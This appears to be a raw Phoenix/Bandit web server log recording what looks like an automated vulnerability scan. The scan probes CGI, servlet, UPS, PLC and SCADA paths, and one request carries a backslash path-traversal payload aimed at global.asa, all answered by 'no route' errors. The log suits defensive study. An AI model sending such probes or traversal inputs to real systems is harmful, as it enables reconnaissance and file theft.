    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 07:59:12.062000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:56740] GET /scripts/fake.cgi
[Thu Sep  3 07:59:12.465000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:56752] GET /content/qRkRYUzQqK.mp3
[Thu Sep  3 07:59:12.485000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:56752] ** (Phoenix.Router.NoRouteError) no route found for GET /content/qRkRYUzQqK.mp3 (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 07:59:13.147000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:59590] GET /tarantella/cgi-bin/secure/ttawlogin.cgi/
[Thu Sep  3 07:59:13.172000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:59590] ** (Phoenix.Router.NoRouteError) no route found for GET /tarantella/cgi-bin/secure/ttawlogin.cgi (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 07:59:16.747000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:59606] GET /servlet/com.newatlanta.servletexec.JSP10Servlet
[Thu Sep  3 07:59:16.779000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:59606] ** (Phoenix.Router.NoRouteError) no route found for GET /servlet/com.newatlanta.servletexec.JSP10Servlet (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 07:59:18.402000 2026] [Bandit.Logger:error] [pid 2816631] [client -] ** (Bandit.HTTPError) Unsupported request target (RFC9112§3.2)
[Thu Sep  3 07:59:18.763000 2026] [Bandit.Logger:error] [pid 2816631] [client -] ** (Bandit.HTTPError) Unsupported request target (RFC9112§3.2)
[Thu Sep  3 07:59:18.893000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:59630] GET /servlet/com.newatlanta.servletexec.JSP10Servlet/..%5c..%5cglobal.asa
[Thu Sep  3 07:59:18.959000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:59630] ** (Phoenix.Router.NoRouteError) no route found for GET /servlet/com.newatlanta.servletexec.JSP10Servlet/..%5c..%5cglobal.asa (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 07:59:20.589000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:59642] GET /SchneiderUPS/
[Thu Sep  3 07:59:20.623000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:59642] ** (Phoenix.Router.NoRouteError) no route found for GET /SchneiderUPS (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 07:59:24.084000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Thu Sep  3 07:59:26.701000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:37012] GET /Portal/Portal.mwsl
[Thu Sep  3 07:59:26.723000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:37012] ** (Phoenix.Router.NoRouteError) no route found for GET /Portal/Portal.mwsl (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 07:59:27.350000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:37016] GET //wbm/login/
[Thu Sep  3 07:59:27.379000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:37016] ** (Phoenix.Router.NoRouteError) no route found for GET /wbm/login (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 07:59:29.074000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:37032] GET /InitialPage.asp
[Thu Sep  3 07:59:29.105000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:37032] ** (Phoenix.Router.NoRouteError) no route found for GET /InitialPage.asp (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 07:59:30.908000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:37042] GET /home.htm
[Thu Sep  3 07:59:30.925000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:37042] ** (Phoenix.Router.NoRouteError) no route found for GET /home.htm (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 07:59:32.865000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:37054] GET /index.html
[Thu Sep  3 07:59:32.883000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:37054] ** (Phoenix.Router.NoRouteError) no route found for GET /index.html (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 07:59:37.290000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:37572] GET /no_such_file_qRKn59AA.html
[Thu Sep  3 07:59:37.318000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:37572] ** (Phoenix.Router.NoRouteError) no route found for GET /no_such_file_qRKn59AA.html (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 07:59:37.887000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:37586] GET /
[Thu Sep  3 07:59:37.888000 2026] [Phoenix.Logger:debug] [pid 2816631] [client 103.73.119.116:37586] Processing with DaProductAppWeb.PageController.home/2
  Parameters: %{}
  Pipelines: [:browser]
[Thu Sep  3 07:59:37.888000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:37586] Sent 200 in 1ms
[Thu Sep  3 07:59:38.889000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:37588] GET /plc/webvisu.htm
[Thu Sep  3 07:59:38.925000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:37588] ** (Phoenix.Router.NoRouteError) no route found for GET /plc/webvisu.htm (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 07:59:39.950000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:37600] GET /home.asp
[Thu Sep  3 07:59:39.973000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:37600] ** (Phoenix.Router.NoRouteError) no route found for GET /home.asp (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 07:59:40.891000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:37612] GET /html/iscscada.htm
[Thu Sep  3 07:59:40.916000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:37612] ** (Phoenix.Router.NoRouteError) no route found for GET /html/iscscada.htm (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 07:59:45.481000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:43932] GET /
[Thu Sep  3 07:59:45.482000 2026] [Phoenix.Logger:debug] [pid 2816631] [client 103.73.119.116:43932] Processing with DaProductAppWeb.PageController.home/2
  Parameters: %{}
  Pipelines: [:browser]
[Thu Sep  3 07:59:45.482000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:43932] Sent 200 in 949µs
[Thu Sep  3 07:59:48.461000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:43944] GET /broadWeb/bwRoot.asp
[Thu Sep  3 07:59:48.478000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:43944] ** (Phoenix.Router.NoRouteError) no route found for GET /broadWeb/bwRoot.asp (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 07:59:50.242000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:43956] GET /OEMSettings.ini
[Thu Sep  3 07:59:50.267000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:43956] ** (Phoenix.Router.NoRouteError) no route found for GET /OEMSettings.ini (DaProductAppWeb.Router)
